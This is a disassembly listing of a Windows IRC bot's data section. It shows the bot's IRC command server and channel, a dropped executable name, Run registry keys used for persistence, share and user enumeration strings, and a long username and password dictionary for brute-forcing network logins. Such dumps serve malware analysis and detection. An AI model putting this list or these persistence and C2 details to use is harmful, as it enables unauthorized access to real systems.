aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D835:loc_40D90Eo
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D835:loc_40D8E3o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D835:loc_40D8DCo
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D835:loc_40D8D5o
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D835:loc_40D8CEo
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D835+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D835:loc_40D8A3o
		db 'dependent on it.',0
		align 10h
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D835:loc_40D899o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D835:loc_40D88Fo
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D835:loc_40D885o
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D835:loc_40D87Bo
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D835+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D9B3+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D9B3:loc_40DA7Fo
aStarting	db '   Starting',0      ; DATA XREF: sub_40D9B3:loc_40DA78o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D9B3:loc_40DA71o
aRunning	db '    Running',0      ; DATA XREF: sub_40D9B3:loc_40DA6Ao
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D9B3:loc_40DA63o
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D9B3:loc_40DA5Co
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D9B3:loc_40DA55o
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D9B3+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D9B3+25o
		align 4
dword_42EE38	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+ACo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 4
dword_42EE6C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+8Ao
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42EE98	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAF0+58o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DCE6+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_40DCE6+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_40DCE6+B5o
dword_42EEF4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DCE6+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DCE6+26o
		align 4
dword_42EF64	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+B7o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 4
dword_42EF9C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+95o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42EFD8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DE07+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42F008	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DF4E+3AFo
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DF4E+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DF4E+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DF4E+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DF4E+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DF4E+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DF4E+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DF4E+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DF4E+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DF4E+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DF4E+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DF4E+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DF4E+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DF4E+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DF4E+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DF4E+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_40DF4E:loc_40E06Do
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_40DF4E:loc_40E066o
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DF4E:loc_40E05Fo
					; ___:0042F774o ...
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DF4E+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DF4E+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DF4E+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DF4E+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E337+14Fo
		align 4
dword_42F1D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+F7o
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_40E337+BEo
		align 4
dword_42F218	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E337+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E337+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5D4o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E4B7:loc_40E5CDo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E4B7:loc_40E5C6o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E5BFo
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E4B7:loc_40E5B8o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E4B7:loc_40E59Bo
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E594o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E4B7:loc_40E58Do
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E4B7+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E4B7:loc_40E562o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E55Bo
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E4B7:loc_40E554o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E4B7:loc_40E54Ao
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E4B7+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E4B7:loc_40E524o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E4B7:loc_40E51Ao
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E4B7:loc_40E510o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E4B7:loc_40E506o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E4B7:loc_40E4FCo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E4B7+3Bo
		align 10h
dword_42F530	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42F568	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E5EB+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 10h
dword_42F5A0	dd 1B58h		; DATA XREF: ___:0040EA4Cr
					; ___:0040EAFFr
dword_42F5A4	dd 0C8Bh		; DATA XREF: ___:0040EB4Br
dword_42F5A8	dd 30EAh		; DATA XREF: sub_40EE72:loc_414C0Ar
dword_42F5AC	dd 18F4h		; DATA XREF: sub_407252+3Br
					; sub_40EE72+52E6r
dword_42F5B0	dd 1BB0h		; DATA XREF: sub_407252:loc_407501r
					; sub_40EE72:loc_41424Dr
dword_42F5B4	dd 0A84h		; DATA XREF: sub_40EE72:loc_4143C3r
dword_42F5B8	dd 1			; DATA XREF: sub_40EE72+665r
dword_42F5BC	dd 1			; DATA XREF: ___:0040E7E6r
dword_42F5C0	dd 1			; DATA XREF: sub_40AC42+Cr
					; ___:loc_40E9D8r
byte_42F5C4	db 2Eh			; DATA XREF: sub_40CFE3:loc_40CFEFr
					; sub_40EE72+B05r ...
		align 4
dword_42F5C8	dd 6			; DATA XREF: sub_415996+2Br
					; sub_415996+51r ...
dword_42F5CC	dd 4			; DATA XREF: sub_40EB92+78r
					; sub_40EE72+279r ...
a8652		db '8652',0
		align 4
aCool_0		db 'cool',0
		align 10h
aMan		db 'man',0
		align 8
aSym		db 'sym',0
		dd 0
		db 2 dup(0)
byte_42F5F2	db 1			; DATA XREF: sub_40EE72:loc_413D44r
					; sub_40EE72+4EDCo
aAsn445		db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: ___:0040E703o
					; sub_40EE72+3E42o ...
		align 4
aAbosal7Tool	db 'ABOSAL7 tool',0     ; DATA XREF: sub_40EE72:loc_414E22o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_40EE72+6129o
					; sub_40EE72+61F8o
		align 4
aSaber_ircqforu	db 'saber.ircqforum.com',0 ; DATA XREF: ___:0040EA37o
					; ___:0040EAF0o
aFaak		db '#faak#',0           ; DATA XREF: ___:0040EA58o
					; ___:0040EB06o
		align 4
aSaad_		db 'saad.',0            ; DATA XREF: ___:0040EA6Fo
					; ___:0040EB18o
		align 10h
byte_42F650	db 73h			; DATA XREF: ___:loc_40EB2Er
					; ___:0040EB3Co
aAber_ircqforum	db 'aber.ircqforum.com',0
aFaak_0		db '#faak#',0           ; DATA XREF: ___:0040EB52o
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:0040EB64o
		align 4
byte_42F674	db 66h			; DATA XREF: sub_402B84+Fo
					; sub_4030E8+81o ...
		db 69h,	72h, 73h
		dd 69777374h, 78652E6Eh, 65h
dword_42F684	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022C6+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40C1AE+Eo
		align 4
aBot		db '[bot]-',0           ; DATA XREF: sub_415996+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EE72+6274o
aF		db '#f',0               ; DATA XREF: sub_40EE72:loc_4120F1o
					; sub_40EE72+509Co
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_40EE72+1F2Fo
		align 10h
aF_1		db '#f',0               ; DATA XREF: sub_40EE72+1D75o
		align 4
off_42F6C4	dd offset a@admin_com	; DATA XREF: sub_40EE72:loc_414FEEo
					; "*@admin.com"
off_42F6C8	dd offset aH4ckerTool	; DATA XREF: sub_40EE72+8CFr
					; sub_40EE72+6198o
					; "h4cker tool"
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicro_1	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415F88+28o
					; sub_4162AC+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415F88+D4o
					; sub_4162AC+D4o
		align 4
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 8
		dd offset byte_43C80C
		dd offset byte_43C80C
		dd offset aAdministrato_1 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_0 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_1	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_434C2C	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_4289BC
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCatherin	; "catherin"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCompany	; "company"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool_1	; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
